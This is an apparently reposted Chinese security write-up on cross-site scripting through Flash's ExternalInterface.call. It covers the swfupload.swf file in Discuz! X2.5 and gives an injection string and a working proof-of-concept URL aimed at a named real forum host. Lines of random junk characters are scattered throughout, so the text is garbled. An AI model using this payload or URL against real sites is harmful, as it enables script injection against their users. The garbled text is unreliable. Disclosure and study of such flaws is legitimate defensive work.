上回我们说
/ z: c% U. Q5 h# b* z4 w4 U
) E+ \& |' D0 [( e. {8 ` {% zflash.external.ExternalInterface.call($methodName, $parameter)
' t2 S( o. g/ w! ?* J4 {$ i在浏览器中执行的是
: b$ E9 u; Q5 x% ?9 y C! G: r5 z4 r. U2 `7 }
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
1 h1 F/ Y" i/ S3 u( W3 _对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如0 V! g: ^. a, f1 }. d1 @, W$ J
9 t: A; k9 N- L% e6 y' R m! Tflash.external.ExternalInterface.call("object."+$methodName, $parameter)
9 x+ o9 Y0 A7 d; ?# s$methodName = a())}catch(e){alert(/xss/)}//
3 ~3 C6 N! I" E结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。8 a# b' F3 m/ u: a1 p
2 G# u0 V1 y; [# ^5 q
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
' z' _$ p2 ~" u; x8 ]
8 i5 A# U; C9 z/ x& L这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )( C! ?! U S% K+ Y; |+ }$ i
杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
2 E' r4 X7 h) q; q
# _9 Y/ o: c. O* _- \
; Q% p; D8 U+ q$ e3 q8 m7 ~- v& c F5 B4 \; L! @; U' W
漏洞文件:upload\static\image\common\swfupload.swf# U. J; w) l. ]( u3 O
]4 A0 i5 T* O& n5 b2 J* y+ j原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
% x& L S& t3 c4 }2 g' ~: G
9 ], E! c& t G/ y* c3 m( @: m" z! }+ s( G: f1 C. U
漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//* k/ U" R0 k" c8 a
& E! o' y- w: u9 s- P7 l
. c/ z" H. d8 F- w% t& ^
|